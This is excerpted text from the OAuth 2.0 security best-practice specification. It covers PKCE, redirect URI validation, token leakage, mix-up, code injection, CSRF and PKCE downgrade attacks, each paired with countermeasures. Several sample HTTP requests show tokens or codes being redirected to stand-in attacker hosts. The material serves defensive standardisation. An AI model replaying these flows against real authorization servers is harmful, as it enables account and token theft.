2.1.1.Authorization Code Grant

Clients MUST prevent authorization codeinjection attacks (seeSection 4.5) and misuse of authorization codes using one of the following options:¶

• Public clients MUST use PKCE[RFC7636] to this end, as motivated inSection 4.5.3.1.¶
• For confidential clients, the use of PKCE[RFC7636] is RECOMMENDED, as itprovides strong protection against misuse and injection of authorizationcodes as described inSection 4.5.3.1 and, as a side-effect,prevents CSRF even in the presence of strong attackers as described inSection 4.7.1.¶
• With additional precautions, described inSection 4.5.3.2,confidential OpenID Connect[OpenID.Core] clients MAY use thenonce parameter and therespective Claim in the ID Token instead.¶

In any case, the PKCE challenge or OpenID Connectnonce MUST betransaction-specific and securely bound to the client and the user agent inwhich the transaction was started.Authorization servers are encouraged to make a reasonable effort at detecting andpreventing the use of constant PKCE challenge or OpenID Connectnonce values.¶

Note: Although PKCE was designed as a mechanism to protect nativeapps, this advice applies to all kinds of OAuth clients, including webapplications.¶

When using PKCE, clients SHOULD use PKCE code challenge methods thatdo not expose the PKCE verifier in the authorization request.Otherwise, attackers that can read the authorization request (cf.Attacker A4 inSection 3) can break the security providedby PKCE. Currently,S256 is the only such method.¶

Authorization servers MUST support PKCE[RFC7636].¶

If a client sends a valid PKCE[RFC7636]code_challenge parameter in theauthorization request, the authorization server MUST enforce the correct usageofcode_verifier at the token endpoint.¶

Authorization servers MUST mitigate PKCE Downgrade Attacks by ensuring that atoken request containing acode_verifier parameter is accepted only if acode_challenge parameter was present in the authorization request, seeSection 4.8.2 for details.¶

Authorization servers MUST provide a way to detect their support forPKCE. It is RECOMMENDED for authorization servers to publish the elementcode_challenge_methods_supported in their Authorization Server Metadata ([RFC8414])containing the supported PKCE challenge methods (which can be used bythe client to detect PKCE support). Authorization servers MAY instead provide adeployment-specific way to ensure or determine PKCE support by the authorization server.¶

2.1.2.Implicit Grant

The implicit grant (response type "token") and other response typescausing the authorization server to issue access tokens in theauthorization response are vulnerable to access token leakage andaccess token replay as described inSection 4.1,Section 4.2,Section 4.3, andSection 4.6.¶

Moreover, no standardized method for sender-constraining exists tobind access tokens to a specific client (as recommended inSection 2.2) when the access tokens are issued in theauthorization response. This means that an attacker can use the leaked or stolenaccess token at a resource endpoint.¶

In order to avoid these issues, clients SHOULD NOT use the implicitgrant (response type "token") or other response types issuingaccess tokens in the authorization response, unless access token injectionin the authorization response is prevented and the aforementioned token leakagevectors are mitigated.¶

Clients SHOULD instead use the response typecode (i.e., authorizationcode grant type) as specified inSection 2.1.1 or any other response type thatcauses the authorization server to issue access tokens in the tokenresponse, such as thecode id_token response type. This allows theauthorization server to detect replay attempts by attackers andgenerally reduces the attack surface since access tokens are notexposed in URLs. It also allows the authorization server tosender-constrain the issued tokens (see next section).¶

2.2.1.Access Tokens

A sender-constrained access token scopes the applicability of an accesstoken to a certain sender. This sender is obliged to demonstrate knowledgeof a certain secret as a prerequisite for the acceptance of that token atthe recipient (e.g., a resource server).¶

Authorization and resource servers SHOULD use mechanisms for sender-constrainingaccess tokens, such as Mutual TLS for OAuth 2.0[RFC8705] or OAuth 2.0Demonstrating Proof of Possession (DPoP)[RFC9449] (seeSection 4.10.1), to prevent misuse of stolen and leaked access tokens.¶

2.2.2.Refresh Tokens

Refresh tokens for public clients MUST be sender-constrained or use refreshtoken rotation as described inSection 4.14.[RFC6749] alreadymandates that refresh tokens for confidential clients can only be used by theclient for which they were issued.¶

4.1.1.Redirect URI Validation Attacks on Authorization Code Grant

For a client using the grant typecode, an attack may work asfollows:¶

Assume the redirect URL patternhttps://*.somesite.example/* isregistered for the client with the client IDs6BhdRkqt3. Theintention is to allow any subdomain ofsomesite.example to be avalid redirect URI for the client, for examplehttps://app1.somesite.example/redirect. A naive implementation onthe authorization server, however, might interpret the wildcard* as"any character" and not "any character valid for a domain name". Theauthorization server, therefore, might permithttps://attacker.example/.somesite.example as a redirect URI,althoughattacker.example is a different domain potentiallycontrolled by a malicious party.¶

The attack can then be conducted as follows:¶

To begin, the attacker needs to trick the user into opening a tamperedURL in their browser that launches a page under the attacker'scontrol, sayhttps://www.evil.example (see Attacker A1 inSection 3).¶

This URL initiates the following authorization request with the clientID of a legitimate client to the authorization endpoint (line breaksfor display only):¶

GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13     &redirect_uri=https%3A%2F%2Fattacker.example%2F.somesite.example     HTTP/1.1Host: server.somesite.example

The authorization server validates the redirect URI and compares it tothe registered redirect URL patterns for the clients6BhdRkqt3.The authorization request is processed and presented to the user.¶

If the user does not see the redirect URI or does not recognize theattack, the code is issued and immediately sent to the attacker'sdomain. If an automatic approval of the authorization is enabled(which is not recommended for public clients according to[RFC6749]), the attack can be performed even without userinteraction.¶

If the attacker impersonates a public client, the attacker canexchange the code for tokens at the respective token endpoint.¶

This attack will not work as easily for confidential clients, sincethe code exchange requires authentication with the legitimate client'ssecret. The attacker can, however, use the legitimate confidentialclient to redeem the code by performing an authorization codeinjection attack, seeSection 4.5.¶

It is important to note that redirect URI validation vulnerabilities can also exist if the authorizationserver handles wildcards properly. For example, assume that the clientregisters the redirect URL patternhttps://*.somesite.example/* andthe authorization server interprets this as "allow redirect URIspointing to any host residing in the domainsomesite.example". If anattacker manages to establish a host or subdomain insomesite.example, the attacker can impersonate the legitimate client. Thiscould be caused, for example, by a subdomain takeover attack[research.udel], where anoutdated CNAME record (say,external-service.somesite.example)points to an external DNS name that does no longer exist (say,customer-abc.service.example) and can be taken over by an attacker(e.g., by registering ascustomer-abc with the external service).¶

4.1.2.Redirect URI Validation Attacks on Implicit Grant

The attack described above works for the implicit grant as well. Ifthe attacker is able to send the authorization response to an attacker-controlled URI, the attacker will directly get access to the fragment carrying theaccess token.¶

Additionally, implicit grants (and also other grants when usingresponse_mode=fragment as defined in[OAuth.Responses]) can be subject to a further kind ofattack. It utilizes the fact that user agents re-attach fragments tothe destination URL of a redirect if the location header does notcontain a fragment (see[RFC9110], Section 17.11). The attackdescribed here combines this behavior with the client as an openredirector (seeSection 4.11.1) in order to obtain access tokens. This allowscircumvention even of very narrow redirect URI patterns, but not strict URLmatching.¶

Assume the registered URL pattern for clients6BhdRkqt3 ishttps://client.somesite.example/cb?*, i.e., any parameter is allowedfor redirects tohttps://client.somesite.example/cb. Unfortunately,the client exposes an open redirector. This endpoint supports aparameterredirect_to which takes a target URL and will send thebrowser to this URL using an HTTP Location header redirect 303.¶

The attack can now be conducted as follows:¶

To begin, as above, the attacker needs to trick the user into openinga tampered URL in their browser that launches a page under theattacker's control, sayhttps://www.evil.example.¶

Afterwards, the website initiates an authorization request that isvery similar to the one in the attack on the code flow. Different toabove, it utilizes the open redirector by encodingredirect_to=https://attacker.example into the parameters of theredirect URI and it uses the response type "token" (line breaks for display only):¶

GET /authorize?response_type=token&state=9ad67f13    &client_id=s6BhdRkqt3    &redirect_uri=https%3A%2F%2Fclient.somesite.example     %2Fcb%26redirect_to%253Dhttps%253A%252F     %252Fattacker.example%252F HTTP/1.1Host: server.somesite.example

Now, since the redirect URI matches the registered pattern, theauthorization server permits the request and sends the resulting accesstoken in a 303 redirect (some response parameters omitted forreadability):¶

HTTP/1.1 303 See OtherLocation: https://client.somesite.example/cb?          redirect_to%3Dhttps%3A%2F%2Fattacker.example%2Fcb          #access_token=2YotnFZFEjr1zCsicMWpAA&...

At client.somesite.example, the request arrives at the open redirector. The endpoint willread the redirect parameter and will issue an HTTP 303 Location headerredirect to the URLhttps://attacker.example/.¶

HTTP/1.1 303 See OtherLocation: https://attacker.example/

Since the redirector at client.somesite.example does not include afragment in the Location header, the user agent will re-attach theoriginal fragment#access_token=2YotnFZFEjr1zCsicMWpAA&... tothe URL and will navigate to the following URL:¶

https://attacker.example/#access_token=2YotnFZFEjr1z...

The attacker's page atattacker.example can now access thefragment and obtain the access token.¶

4.1.3.Countermeasures

The complexity of implementing and managing pattern matching correctly obviouslycauses security issues. This document therefore advises simplifying the requiredlogic and configuration by using exact redirect URI matching. This means theauthorization server MUST ensure that the two URIs are equal, see[RFC3986],Section 6.2.1, Simple String Comparison, for details. The only exception isnative apps using alocalhost URI: In this case, the authorization server MUST allow variableport numbers as described in[RFC8252], Section 7.3.¶

Additional recommendations:¶

• Web servers on which redirect URIs are hosted MUST NOT expose openredirectors (seeSection 4.11).¶
• Browsers reattach URL fragments to Location redirection URLs onlyif the URL in the Location header does not already contain a fragment.Therefore, servers MAY prevent browsers from reattaching fragmentsto redirection URLs by attaching an arbitrary fragment identifier,for example#_, to URLs in Location headers.¶
• Clients SHOULD use the authorization code response type instead ofresponse types causing access token issuance at the authorizationendpoint. This offers countermeasures against the reuse of leakedcredentials through the exchange process with the authorizationserver and token replay through sender-constraining of the accesstokens.¶

If the origin and integrity of the authorization request containingthe redirect URI can be verified, for example when using[RFC9101] or[RFC9126] with clientauthentication, the authorization server MAY trust the redirect URIwithout further checks.¶

4.2.1.Leakage from the OAuth Client

Leakage from the OAuth client requires that the client, as a result ofa successful authorization request, renders a page that¶

• contains links to other pages under the attacker's control and auser clicks on such a link, or¶
• includes third-party content (advertisements in iframes, images,etc.), for example, if the page contains user-generated content(blog).¶

As soon as the browser navigates to the attacker's page or loads thethird-party content, the attacker receives the authorization responseURL and can extractcode orstate (and potentiallyaccess_token).¶

4.2.2.Leakage from the Authorization Server

In a similar way, an attacker can learnstate from the authorizationrequest if the authorization endpoint at the authorization servercontains links or third-party content as above.¶

4.2.3.Consequences

An attacker that learns a valid code or access token through aReferer header can perform the attacks as described inSection 4.1.1,Section 4.5, andSection 4.6. If the attacker learnsstate, the CSRFprotection achieved by usingstate is lost, resulting in CSRFattacks as described in[RFC6819], Section 4.4.1.8.¶

4.2.4.Countermeasures

The page rendered as a result of the OAuth authorization response andthe authorization endpoint SHOULD NOT include third-party resources orlinks to external sites.¶

The following measures further reduce the chances of a successful attack:¶

• Suppress the Referer header by applying an appropriate ReferrerPolicy[W3C.webappsec-referrer-policy] to the document (either aspart of the "referrer" meta attribute or by setting aReferrer-Policy header). For example, the headerReferrer-Policy:no-referrer in the response completely suppresses the Refererheader in all requests originating from the resulting document.¶
• Use authorization code instead of response types causing accesstoken issuance from the authorization endpoint.¶
• Bind the authorization code to a confidential client or PKCEchallenge. In this case, the attacker lacks the secret to requestthe code exchange.¶

• As described in[RFC6749], Section 4.1.2, authorization codesMUST be invalidated by the authorization server after their first use at the tokenendpoint. For example, if an authorization server invalidated the code after thelegitimate client redeemed it, the attacker would fail to exchangethis code later.¶

  This does not mitigate the attack if the attacker manages toexchange the code for a token before the legitimate client doesso. Therefore,[RFC6749] further recommends that, when anattempt is made to redeem a code twice, the authorization server SHOULD revoke alltokens issued previously based on that code.¶

• Thestate value SHOULD be invalidated by the client after itsfirst use at the redirection endpoint. If this is implemented, andan attacker receives a token through the Referer header from theclient's website, thestate was already used, invalidated bythe client and cannot be used again by the attacker. (This doesnot help if thestate leaks from theauthorization server's website, since then thestatehas not been used at the redirection endpoint at the client yet.)¶

• Use the form post response mode instead of a redirect for theauthorization response (see[OAuth.Post]).¶

4.3.1.Authorization Code in Browser History

When a browser navigates toclient.example/redirection_endpoint?code=abcd as a result of aredirect from a provider's authorization endpoint, the URL includingthe authorization code may end up in the browser's history. Anattacker with access to the device could obtain the code and try toreplay it.¶

Countermeasures:¶

• Authorization code replay prevention as described in[RFC6819],Section 4.4.1.1, andSection 4.5.¶
• Use form post response mode instead of redirect for the authorizationresponse (see[OAuth.Post]).¶

4.3.2.Access Token in Browser History

An access token may end up in the browser history if a client or a website that already has a token deliberately navigates to a page likeprovider.com/get_user_profile?access_token=abcdef.[RFC6750]discourages this practice and advises transferring tokens via a header,but in practice web sites often pass access tokens in queryparameters.¶

In the case of implicit grant, a URL likeclient.example/redirection_endpoint#access_token=abcdef may also endup in the browser history as a result of a redirect from a provider'sauthorization endpoint.¶

Countermeasures:¶

• Clients MUST NOT pass access tokens in a URI query parameter inthe way described in Section 2.3 of[RFC6750]. The authorizationcode grant or alternative OAuth response modes like the form postresponse mode[OAuth.Post] can be used tothis end.¶

4.4.1.Attack Description

The description here follows[arXiv.1601.01229], withvariants of the attack outlined below.¶

Preconditions: For this variant of the attack to work, it is assumed that¶

• the implicit or authorization code grant is used with multiple authorization serversof which one is considered "honest" (H-AS) and one is operated bythe attacker (A-AS), and¶
• the client stores the authorization server chosen by the user in a session bound tothe user's browser and uses the same redirection endpoint URI foreach authorization server.¶

In the following, it is further assumed that the client is registered with H-AS (URI:https://honest.as.example, client ID:7ZGZldHQ) and with A-AS (URI:https://attacker.example, client ID:666RVZJTA). URLs shown in the followingexample are shortened for presentation to only include parameters relevant to theattack.¶

Attack on the authorization code grant:¶

1. The user selects to start the grant using A-AS (e.g., by clicking on a button on theclient's website).¶
2. The client stores in the user's session that the user selected"A-AS" and redirects the user to A-AS's authorization endpointwith a Location header containing the URLhttps://attacker.example/authorize?response_type=code&client_id=666RVZJTA.¶
3. When the user's browser navigates to the attacker's authorization endpoint,the attacker immediately redirects the browser to the authorization endpointof H-AS. In the authorization request, the attacker replaces the client IDof the client at A-AS with the client's ID at H-AS. Therefore, the browserreceives a redirection (303 See Other) with a Location header pointing tohttps://honest.as.example/authorize?response_type=code&client_id=7ZGZldHQ¶

4. The user authorizes the client to access their resources at H-AS. (Note that avigilant user might at this point detect that they intended to use A-ASinstead of H-AS. The first attack variant listed below avoids this.) H-ASissues a code and sends it (via the browser) back to the client.¶

5. Since the client still assumes that the code was issued by A-AS,it will try to redeem the code at A-AS's token endpoint.¶

6. The attacker therefore obtains code and can either exchange thecode for an access token (for public clients) or perform anauthorization code injection attack as described inSection 4.5.¶

Variants:¶

• Mix-Up With Interception: This variant works only if the attacker canintercept and manipulate the first request/response pair from a user'sbrowser to the client (in which the user selects a certain authorization server and is thenredirected by the client to that authorization server), as in Attacker A2 (seeSection 3). This capabilitycan, for example, be the result of a attacker-in-the-middle attack on the user'sconnection to the client. In the attack, the user starts the flow with H-AS.The attacker intercepts this request and changes the user's selection toA-AS. The rest of the attack proceeds as in Steps 2 and following above.¶
• Implicit Grant: In the implicit grant, the attacker receives an accesstoken instead of the code in Step 4. The attacker's authorization server receives the access tokenwhen the client makes a request to the A-AS userinfo endpoint, or since theclient believes it has completed the flow with A-AS, a request to theattacker's resource server.¶
• Per-AS Redirect URIs: If clients use different redirect URIs fordifferent authorization servers, do not store the selected authorization server in the user's session, and authorization serversdo not check the redirect URIs properly, attackers can mount an attackcalled "Cross-Social Network Request Forgery". These attacks have beenobserved in practice. Refer to[research.jcs_14] for details.¶
• OpenID Connect: Some variants can be used to attack OpenIDConnect. In these attacks, the attacker misuses features of the OpenIDConnect Discovery[OpenID.Discovery] mechanism or replays access tokens or IDTokens to conduct a mix-up attack. The attacks are described in detail in[arXiv.1704.08539], Appendix A, and[arXiv.1508.04324v2], Section 6("Malicious Endpoints Attacks").¶

4.4.2.Countermeasures

When an OAuth client can only interact with one authorization server, a mix-updefense is not required. In scenarios where an OAuth client interacts with twoor more authorization servers, however, clients MUST prevent mix-up attacks. Twodifferent methods are discussed in the following.¶

For both defenses, clients MUST store, for each authorization request, theissuer they sent the authorization request to and bind this information to theuser agent. The issuer serves, via the associated metadata, as an abstractidentifier for the combination of the authorization endpoint and token endpointthat are to be used in the flow. If an issuer identifier is not available, forexample, if neither OAuth Authorization Server Metadata[RFC8414] nor OpenID Connect Discovery[OpenID.Discovery] isused, a different unique identifier for this tuple or the tuple itself can beused instead. For brevity of presentation, such a deployment-specific identifierwill be subsumed under the issuer (or issuer identifier) in the following.¶

It is important to note that just storing the authorization server URL is not sufficient to identifymix-up attacks. An attacker might declare an uncompromised authorization server's authorization endpoint URL as"their" authorization server URL, but declare a token endpoint under their own control.¶

4.5.1.Attack Description

The authorization code injection attack works as follows:¶

1. The attacker obtains an authorization code (see attacker A3 inSection 3). For the restof the attack, only the capabilities of a web attacker (A1) are required.¶
2. From the attacker's device, the attacker starts a regular OAuth authorizationprocess with the legitimate client.¶
3. In the response of the authorization server to the legitimate client, theattacker replaces the newly created authorization code with the stolenauthorization code. Since this response is passing through the attacker'sdevice, the attacker can use any tool that can intercept and manipulate theauthorization response to this end. The attacker does not need to controlthe network.¶
4. The legitimate client sends the code to the authorization server's tokenendpoint, along with theredirect_uri and the client's client ID andclient secret (or other means of client authentication).¶
5. The authorization server checks the client secret, whether thecode was issued to the particular client, and whether the actualredirect URI matches theredirect_uri parameter (see[RFC6749]).¶
6. All checks succeed and the authorization server issues access andother tokens to the client. The attacker has now associated theirsession with the legitimate client with the victim's resourcesand/or identity.¶

4.5.2.Discussion

Obviously, the check-in step (5.) will fail if the code was issued toanother client ID, e.g., a client set up by the attacker. The checkwill also fail if the authorization code was already redeemed by thelegitimate user and was one-time use only.¶

An attempt to inject a code obtained via a manipulated redirect URIshould also be detected if the authorization server stored thecomplete redirect URI used in the authorization request and comparesit with theredirect_uri parameter.¶

[RFC6749], Section 4.1.3, requires the authorization server to "... ensure that theredirect_uri parameter is present if theredirect_uri parameterwas included in the initial authorization request as described inSection 4.1.1, and if included ensure that their values areidentical.". In the attack scenario described above, the legitimateclient would use the correct redirect URI it always uses forauthorization requests. But this URI would not match the tamperedredirect URI used by the attacker (otherwise, the redirect would notland at the attacker's page). So the authorization server would detectthe attack and refuse to exchange the code.¶

This check could also detect attempts to inject an authorizationcode that had been obtained from another instance of the same clienton another device if certain conditions are fulfilled:¶

• the redirect URI itself needs to contain a nonce or another kindof one-time use, secret data and¶
• the client has bound this data to this particular instance of theclient.¶

But this approach conflicts with the idea of enforcing exact redirectURI matching at the authorization endpoint. Moreover, it has beenobserved that providers very often ignore theredirect_uri checkrequirement at this stage, maybe because it doesn't seem to besecurity-critical from reading the specification.¶

Other providers just pattern match theredirect_uri parameteragainst the registered redirect URI pattern. This saves theauthorization server from storing the link between the actual redirectURI and the respective authorization code for every transaction. Butthis kind of check obviously does not fulfill the intent of thespecification, since the tampered redirect URI is not considered. Soany attempt to inject an authorization code obtained using theclient_id of a legitimate client or by utilizing the legitimateclient on another device will not be detected in the respectivedeployments.¶

It is also assumed that the requirements defined in[RFC6749],Section 4.1.3, increase client implementation complexity as clientsneed to store or re-construct the correct redirect URI for the callto the token endpoint.¶

Asymmetric methods for client authentication do not stop this attack, as thelegitimate client authenticates at the token endpoint.¶

This document therefore recommends instead binding every authorizationcode to a certain client instance on a certain device (or in a certainuser agent) in the context of a certain transaction using one of themechanisms described next.¶

4.5.3.Countermeasures

There are two good technical solutions to binding authorization codes to clientinstances, outlined in the following.¶

4.5.4.Limitations

An attacker can circumvent the countermeasures described above if hecan modify thenonce orcode_challenge values that are used in thevictim's authorization request. The attacker can modify these valuesto be the same ones as those chosen by the client in their own sessionin Step 2 of the attack above. (This requires that the victim'ssession with the client begins after the attacker started their sessionwith the client.) If the attacker is then able to capture theauthorization code from the victim, the attacker will be able toinject the stolen code in Step 3 even if PKCE ornonce are used.¶

This attack is complex and requires a close interaction between theattacker and the victim's session. Nonetheless, measures to preventattackers from reading the contents of the authorization responsestill need to be taken, as described inSection 4.1,Section 4.2,Section 4.3,Section 4.4, andSection 4.11.¶

4.6.1.Countermeasures

There is no way to detect such an injection attack in pure-OAuthflows since the token is issued without any binding to thetransaction or the particular user agent.¶

In OpenID Connect, the attack can be mitigated, as the authorization responseadditionally contains an ID Token containing theat_hash claim. The attackertherefore needs to replace both the access token as well as the ID Token in theresponse. The attacker cannot forge the ID Token, as it is signed or encryptedwith authentication. The attacker also cannot inject a leaked ID Token matchingthe stolen access token, as thenonce claim in the leaked ID Token will(with a very high probability) contain a different value than the one expectedin the authorization response.¶

Note that further protection, like sender-constrained access tokens, is stillrequired to prevent attackers from using the access token at the resourceendpoint directly.¶

The recommendations inSection 2.1.2 follow from this.¶

4.7.1.Countermeasures

The long-established countermeasure is that clients pass a random value, alsoknown as a CSRF Token, in thestate parameter that links the request tothe redirect URI to the user agent session as described. Thiscountermeasure is described in detail in[RFC6819], Section 5.3.5. Thesame protection is provided by PKCE or the OpenID Connectnonce value.¶

When using PKCE instead ofstate ornonce for CSRF protection, it isimportant to note that:¶

• Clients MUST ensure that the authorization server supports PKCE before using PKCE forCSRF protection. If an authorization server does not support PKCE,state ornonce MUST be used for CSRF protection.¶

• Ifstate is used for carrying application state, and the integrity ofits contents is a concern, clients MUST protectstate againsttampering and swapping. This can be achieved by binding thecontents of state to the browser session and/or signed/encryptedstate values. One example of this is discussed in the now-expired draft[I-D.bradley-oauth-jwt-encoded-state].¶

The authorization server therefore MUST provide a way to detect their support for PKCE. Using Authorization Server Metadata according to[RFC8414] is RECOMMENDED, but authorization servers MAY instead provide adeployment-specific way to ensure or determine PKCE support.¶

PKCE provides robust protection against CSRF attacks even in presence of an attacker thatcan read the authorization response (see Attacker A3 inSection 3). Whenstate is used or an ID Token is returned in the authorization response (e.g.,response_type=code+id_token), the attacker either learns thestate value andcan replay it into the forged authorization response, or can extract thenoncefrom the ID Token and use it in a new request to the authorization server tomint an ID Token with the samenonce. The new ID Token can then be used forthe CSRF attack.¶

4.8.1.Attack Description

1. The user has started an OAuth session using some client at an authorization server. In theauthorization request, the client has set the parametercode_challenge=hash(abc) as the PKCE code challenge (with the hash function and parameter encoding as defined in[RFC7636]). The client is nowwaiting to receive the authorization response from the user's browser.¶
2. To conduct the attack, the attacker uses their own device to start anauthorization flow with the targeted client. The client now uses anotherPKCE code challenge, saycode_challenge=hash(xyz), in the authorizationrequest. The attacker intercepts the request and removes the entirecode_challenge parameter from the request. Since this step is performed onthe attacker's device, the attacker has full access to the request contents,for example using browser debug tools.¶
3. If the authorization server allows for flows without PKCE, it will create acode that is not bound to any PKCE code challenge.¶
4. The attacker now redirects the user's browser to an authorization responseURL that contains the code for the attacker's session with the authorization server.¶
5. The user's browser sends the authorization code to the client, which willnow try to redeem the code for an access token at the authorization server. The client willsendcode_verifier=abc as the PKCE code verifier in the token request.¶
6. Since the authorization server sees that this code is not bound to any PKCEcode challenge, it will not check the presence or contents of thecode_verifier parameter. It will issue an access token that belongs to theattacker's resource to the client under the user's control.¶

4.8.2.Countermeasures

Usingstate properly would prevent this attack. However, practice has shownthat many OAuth clients do not use or checkstate properly.¶

Therefore, authorization servers MUST mitigate this attack.¶

Note that from the view of the authorization server, in the attack described above, acode_verifier parameter is received at the token endpoint although nocode_challenge parameter was present in the authorization request for theOAuth flow in which the authorization code was issued.¶

This fact can be used to mitigate this attack.[RFC7636] already mandates that¶

• an authorization server that supports PKCE MUST check whether a code challenge is contained inthe authorization request and bind this information to the code that isissued; and¶
• when a code arrives at the token endpoint, and there was acode_challengein the authorization request for which this code was issued, there must be avalidcode_verifier in the token request.¶

Beyond this, to prevent PKCE downgrade attacks, the authorization server MUST ensure thatif there was nocode_challenge in the authorization request, a request tothe token endpoint containing acode_verifier is rejected.¶

Authorization servers that mandate the use of PKCE in general or for particular clientsimplicitly implement this security measure.¶

4.9.1.Access Token Phishing by Counterfeit Resource Server

An attacker may set up their own resource server and trick a client intosending access tokens to it that are valid for other resource servers(see Attackers A1 and A5 inSection 3). If the client sends a valid access token tothis counterfeit resource server, the attacker in turn may use thattoken to access other services on behalf of the resource owner.¶

This attack assumes the client is not bound to one specific resourceserver (and its URL) at development time, but client instances areprovided with the resource server URL at runtime. This kind of latebinding is typical in situations where the client uses a serviceimplementing a standardized API (e.g., for e-mail, calendar, health,or banking) and where the client is configured by a user oradministrator for a service that this user or company uses.¶

4.9.2.Compromised Resource Server

An attacker may compromise a resource server to gain access to theresources of the respective deployment. Such a compromise may rangefrom partial access to the system, e.g., its log files, to fullcontrol over the respective server, in which case all controls can becircumvented and all resources can beaccessed. The attacker would also be able to obtain other accesstokens held on the compromised system that would potentially be validto access other resource servers.¶

Preventing server breaches by hardening and monitoring server systemsis considered a standard operational procedure and, therefore, out ofthe scope of this document. This section focuses on the impact ofOAuth-related breaches and the replaying of captured access tokens.¶

4.9.3.Countermeasures

The following measures should be taken into account by implementers inorder to cope with access token replay by malicious actors:¶

• Sender-constrained access tokens, as described inSection 4.10.1,SHOULD be used to prevent the attacker from replaying the accesstokens on other resource servers. If an attacker has only partialaccess to the compromised system, like a read-only access to webserver logs, sender-constrained access tokens may also preventreplay on the compromised system.¶
• Audience restriction as described inSection 4.10.2 SHOULD beused to prevent replay of captured access tokens on other resourceservers.¶
• The resource server MUST treat access tokens like other sensitive secretsand not store or transfer them in plain text.¶

The first and second recommendations also apply to other scenarioswhere access tokens leak (see Attacker A5 inSection 3).¶

4.10.1.Sender-Constrained Access Tokens

As the name suggests, sender-constrained access tokens scope theapplicability of an access token to a certain sender. This sender isobliged to demonstrate knowledge of a certain secret as a prerequisitefor the acceptance of that token at a resource server.¶

A typical flow looks like this:¶

1. The authorization server associates data with the access tokenthat binds this particular token to a certain client. The bindingcan utilize the client's identity, but in most cases, the authorization server utilizeskey material (or data derived from the key material) known to theclient.¶
2. This key material must be distributed somehow. Either the keymaterial already exists before the authorization server creates the binding or theauthorization server creates ephemeral keys. The way pre-existing key material isdistributed varies among the different approaches. For example,X.509 Certificates can be used, in which case the distributionhappens explicitly during the enrollment process. Or the keymaterial is created and distributed at the TLS layer, in whichcase it might automatically happen during the setup of a TLSconnection.¶
3. The resource server must implement the actual proof of possession check. Thisis typically done on the application level, often tied to specificmaterial provided by transport layer (e.g., TLS). The resource server must alsoensure that a replay of the proof of possession is not possible.¶

Two methods for sender-constrained access tokens using proof-of-possession havebeen defined by the OAuth working group and are in use in practice:¶

• OAuth 2.0 Mutual-TLS Client Authentication and Certificate-BoundAccess Tokens ([RFC8705]): The approach specified in thisdocument allows the use of mutual TLS (mTLS) for both clientauthentication and sender-constrained access tokens. For thepurpose of sender-constrained access tokens, the client isidentified towards the resource server by the fingerprint of itspublic key. During the processing of an access token request, theauthorization server obtains the client's public key from the TLSstack and associates its fingerprint with the respective accesstokens. The resource server in the same way obtains the public keyfrom the TLS stack and compares its fingerprint with thefingerprint associated with the access token.¶
• OAuth 2.0 Demonstrating Proof of Possession (DPoP) ([RFC9449]):DPoP outlines anapplication-level sender-constraining for access and refreshtokens. It usesproof-of-possession based on a public/private key pair andapplication-level signing. DPoP can be used with public clientsand, in the case of confidential clients, can be combined with anyclient authentication method.¶

Note that the security of sender-constrained tokens is undermined whenan attacker gets access to the token and the key material. This is, inparticular, the case for corrupted client software and cross-sitescripting attacks (when the client is running in the browser). If thekey material is protected in a hardware or software security module oronly indirectly accessible (like in a TLS stack), sender-constrainedtokens at least protect against the use of the token when the client isoffline, i.e., when the security module or interface is not availableto the attacker. This applies to access tokens as well as to refreshtokens (seeSection 4.14).¶

4.10.2.Audience-Restricted Access Tokens

Audience restriction essentially restricts access tokens to aparticular resource server. The authorization server associates theaccess token with the particular resource server and the resourceserver is then supposed to verify the intended audience. If the access token failsthe intended audience validation, the resource server refuses toserve the respective request.¶

In general, audience restriction limits the impact of token leakage.In the case of a counterfeit resource server, it may (as describedbelow) also prevent abuse of the phished access token at thelegitimate resource server.¶

The audience can be expressed using logical names orphysical addresses (like URLs). To prevent phishing, it isnecessary to use the actual URL the client will send requests to. Inthe phishing case, this URL will point to the counterfeit resourceserver. If the attacker tries to use the access token at thelegitimate resource server (which has a different URL), the resourceserver will detect the mismatch (wrong audience) and refuse to servethe request.¶

In deployments where the authorization server knows the URLs of allresource servers, the authorization server may just refuse to issueaccess tokens for unknown resource server URLs.¶

For this to work, the client needs to tell the authorization server the intendedresource server. The mechanism in[RFC8707] can be used for this or theinformation can be encoded in the scope value (Section 3.3 of[RFC6749]).¶

Instead of the URL, it is also possible to utilize the fingerprint ofthe resource server's X.509 certificate as the audience value. Thisvariant would also allow detection of an attempt to spoof the legitimateresource server's URL by using a valid TLS certificate obtained from adifferent CA. It might also be considered a privacy benefit to hidethe resource server URL from the authorization server.¶

Audience restriction may seem easier to use since it does not requireany cryptography on the client side. Still, since every access token isbound to a specific resource server, the client also needs to obtain asingle resource server-specific access token when accessing several resourceservers. (Resource indicators, as specified in[RFC8707], can help to achieve this.)[I-D.ietf-oauth-token-binding] had the same property since differenttoken-binding IDs must be associated with the access token. Using[RFC8705], on the other hand, allows a client to use theaccess token at multiple resource servers.¶

It should be noted that audience restrictions, or generally speaking anindication by the client to the authorization server where it wants touse the access token, have additional benefits beyond the scope oftoken leakage prevention. It allows the authorization server to createa different access token whose format and content are specifically mintedfor the respective server. This has huge functional and privacyadvantages in deployments using structured access tokens.¶

4.10.3.Discussion: Preventing Leakage via Metadata

An authorization server could provide the client with additionalinformation about the locations where it is safe to use its accesstokens. This approach, and why it is not recommended, is discussed inthe following.¶

In the simplest form, this would require the authorization server to publish a list ofits known resource servers, illustrated in the following example usinga non-standard Authorization Server Metadata parameterresource_servers:¶

HTTP/1.1 200 OKContent-Type: application/json{  "issuer":"https://server.somesite.example",  "authorization_endpoint":    "https://server.somesite.example/authorize",  "resource_servers":[    "email.somesite.example",    "storage.somesite.example",    "video.somesite.example"  ]  ...}

The authorization server could also return the URL(s) an access token is good for in thetoken response, illustrated by the example and non-standard returnparameteraccess_token_resource_server:¶

HTTP/1.1 200 OKContent-Type: application/json;charset=UTF-8Cache-Control: no-storePragma: no-cache{  "access_token":"2YotnFZFEjr1zCsicMWpAA",  "access_token_resource_server":    "https://hostedresource.somesite.example/path1",...}

This mitigation strategy would rely on the client to enforce thesecurity policy and to only send access tokens to legitimatedestinations. Results of OAuth-related security research (see forexample[research.ubc] and[research.cmu]) indicate alarge portion of client implementations do not or fail to properlyimplement security controls, likestate checks. So relying onclients to prevent access token phishing is likely to fail as well.Moreover, given the ratio of clients to authorization and resourceservers, it is considered the more viable approach to move as much aspossible security-related logic to those entities. Clearly, the clienthas to contribute to the overall security. However, there are alternativecountermeasures, as described before, that provide abetter balance between the involved parties.¶

4.11.1.Client as Open Redirector

